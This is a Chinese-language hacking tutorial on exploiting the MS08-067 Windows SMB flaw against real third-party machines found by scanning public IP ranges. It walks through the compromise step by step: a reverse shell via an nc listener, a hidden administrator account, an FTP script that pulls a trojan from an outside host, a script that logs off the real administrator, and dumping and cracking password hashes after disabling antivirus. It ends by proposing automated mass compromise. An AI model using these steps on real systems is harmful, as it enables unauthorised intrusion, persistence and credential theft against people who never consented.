| 
	     微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的MS08067漏洞,这个时候微软主动爆出这个号称比冲击波还要厉害的漏洞,是否针对我国,很多人都在怀疑,万事讲究证据,没有证据,也只能猜测!不过武器在别人手中,想怎么玩你,就怎么玩你!很多专家也对微软提供的更新中是否保护木马,诸如下载者等等表示怀疑和关注!网上也有说的微软是中国最大的黑客,就笔者个人经验来说,现在的Linux操作系统完全能够胜任常用的办公功能。闲话少说,俺给大家带来最新的MS08067远程溢出漏洞实战分析。 
(一)MS08067漏洞描述 
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。 
MS08-067比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统,Vista除外,毫无幸免! 
(二)MS08067远程漏洞实际利用 
1.扫描445端口 
关于MS08067漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放139、445端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描445端口,扫描的工具很多,我给大家介绍两种在DOS下面扫描的工具,一个是sfind.exe另外一个是s.exe,前者命令为“sfind –p 445 ip地址1 ip地址2”,例如扫描“sfind –p 445 218.99.0.1 218.99.0.255”;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用sfind.exe对附近计算机进行445端口扫描,如图1所示,一共出来7台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。 
图1 使用sfind扫描445端口 
说明: 
(1)由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到sfind扫描目录下直接打开sfind.txt扫描结果。 
2.使用MS08067溢出工具对结果进行溢出尝试 
将获取的代码在VC中进行编译,将生成的程序重新命名为“MS0867”,然后打开DOS操作界面,并将MS08067.exe程序复制到当前操作目录(今天有人问我,为什么直接双击MS08067.exe程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式,MS08067漏洞的使用方法为“MS08067 IP地址”,IP地址为存在该漏洞的服务器或者个人计算机的IP地址。输入存在可能存在该漏洞的IP地址218.*.*.*,结果显示为“SMB Connect OK! Maybe Patched!”如图2所示。 
图2 对存在漏洞的服务器进行溢出 
注意: 
(1)在溢出过程还有多种提示例如“Make SMB Connection error:64” 
(2)出现“Maybe Patched!”提示的计算机也可能溢出成功。 
(3)仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在445漏洞也无法溢出,原因是操作系统溢出点内存地址不同。 
3.监听“4444”端口 
在执行扫描的计算机上使用nc监听4444端口,具体命令为“nc –vv ip地址 4444”,例如“nc –vv 218.69.*.2 4444”,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444 
Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”,这说明218.22.27.71可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。 
说明: 
在MS08067中可以定制监听端口,不过那个端口需要在源程序中定制。 
4.继续进行溢出 
换另外一个IP地址执行溢出,重新监听该IP地址,如图3所示,出来我们比较熟悉的反弹Shell串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。 
图3 溢出成功 
5.查看服务器信息 
对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“type c:\boot.ini”查看操作系统类型,如图4所示,该服务器为Windows 2003企业版服务器,显然有进一步控制的必要了。 
图4 查看服务器版本等信息 
6.添加管理员账号 
既然是服务器那就先添加一个管理员帐号吧,如图5所示使用“net user king$ nohacker /add”、“net localgroup administrators king$ /add”以及“net localgroup administrators”命令添加“king$”用户,密码为“nohacker”,并查看是否将“king$”用户加入到管理员组中。 
图5 添加一个用户到管理员组中 
7.上传文件 
关于上传文件有多种方法,个人推荐ftp脚本法,即在某一个站点或者自己假设一个临时Ftp服务器,然后使用以下样本下载ma.exe: 
echo open 218.*.*.* >b 
echo ftp>>b 
echo ftp>>b 
echo bin>>b 
echo get ma.exe>>b 
echo bye>>b  
ftp -s:b 
del b 
将以上脚本在反弹的shell中直接粘贴即可从Ftp服务器上下载,然后可以在反弹的Shell中执行下载的文件。在本次渗透过程中,由于是相邻IP,因此使用了一个简便的方法,即单击“开始”-“运行”,在其中输入“\\IP\admin$”或者“\\IP\C$”并确定,如图6所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。 
图6打开网络连接 
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接,如图7所示,顺利打开该服务器上的C盘,然后将木马、获取系统密码、查看系统信息等工具软件直接复制过去即可。 
,  
图7打开被溢出服务器系统盘 
8.获取系统详细信息以及执行各种命令 
使用MS08067溢出工具成功溢出服务器后,还可以使用“telnet IP地址 4444”连接被溢出服务器,如图8所示,偶使用telnet进行了尝试,获取系统信息并开放了3389端口。 
图8 使用telnet连接被溢出计算机 
说明: 
(1)使用telnet连接被溢出计算机不如反弹shell好用,在telnet中有可能看不到输入,或者输入后反应较为迟钝。 
(2)开放3389的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。 
(3)可以使用以下脚本来查看对方服务器3389端口: 
Echo Dim ReadComputerName >>port.vbs 
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs 
Echo Dim TSName,TSRegPath >>port.vbs 
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs 
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs 
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs 
Cscript port.vbs 
9.登录被溢出服务器 
打开mstsc远程终端连接器,输入IP地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图9所示。 
图9 顺利进入被溢出服务器 
10.加固服务器 
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图10所示,就地取材,看看系统有什么杀毒软件,有无360卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。 
图10 扫描系统漏洞并修复 
注意: 
(1)如果系统安装有瑞星等杀毒软件,使用getpw获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用getpw获取系统的Hash密码。Getpw获取密码的格式为“getpw $local”,获取Hash密码一定要在shell中,否则获取的Hash密码为空,将获取的值复制到Txt文件中,并去除内容中的空格,正确的格式如图11所示。 
图11 获取的密码Hash值 
(2)如果被溢出服务器已经开放3389,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即: 
on error resume next  
set arg=wscript.arguments  
If arg.count=0 then  
wscript.echo "use:// cscript.exe FS.vbs port"  
sleep 1000  
wscript.quit  
End If  
Tport=arg(0)  
Runs=false  
While runs=false  
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport  
Set oShell = WScript.CreateObject("WScript.Shell")  
Set oExec = oShell.Exec("netstat -an")  
Set oRegExp = new RegExp  
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"  
oRegExp.IgnoreCase = True  
oRegExp.Global = True  
Do While Not oExec.StdOut.AtEndOfStream  
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)  
Loop  
Set Matches = oRegExp.Execute(strOut)  
Num = 0  
For Each Match In Matches  
Num = Num + 1  
Next  
if num > 1 then  
Runs=true  
oShell.run "logoff"  
end if  
Set Matches = Nothing  
Set oRegExp = Nothing  
Set oExec = Nothing  
Set oShell = Nothing  
Wend 
11.破解Hash值 
这个俺就不多说了。直接使用LC5导入即可,要是还不会的,请关注本团队的一系列研究结果。破解Hash值的好处就是以后使用管理员的帐号和密码进行登录,当然还可以以防万一! 
12.继续溢出和推广使用方法 
测试成功后,呵呵继续对扫描出来的结果进行了溢出,毫无疑问,Windows XP、Window 2000 Server、Windows 2000 Professional以及Windows2003 Server均可成功溢出,如图12所示,溢出一台Windows 2000 Server。呵呵,好东西就应该跟大家分享,俺溢出成功后,就跟俺的好友们共享这个成功的溢出过程。 
图12 继续溢出其它类型服务器 
(三)防范措施 
1.安装360卫士和升级系统补丁 
首先就是升级系统补丁,推荐使用360卫士,使用其扫描即可,发现问题纠正问题即可。还有就是要及时升级360卫生的版本,在实际溢出过程中,我发现很多服务器上都安装了杀毒软件以及360卫士,但是其版本太低,未及时更新补丁程序,失去了应有的防范能力。 
2.安装防火墙 
在本次溢出过程中,我们还发现存在防火墙的情况下,成功溢出的几率几乎为0,因此推荐在系统中安装防火墙,对内外网防范都有效。 
(四)总结与体会 
本次测试几乎是在要放弃的情况下,偶是先进行了MS08067漏洞的本地测试,一个都没有成功,都想放弃了,后面打算放到实际环境中进行测试,未想一炮打响,再后来有一些改进的思路,偶做了录像,具体可以看录像,本人觉得可以将其修改跟1433自动抓肉鸡那个工具一样,自动扫描,自动溢出,自动执行下载程序,安全总在思维的突破!  
	
  |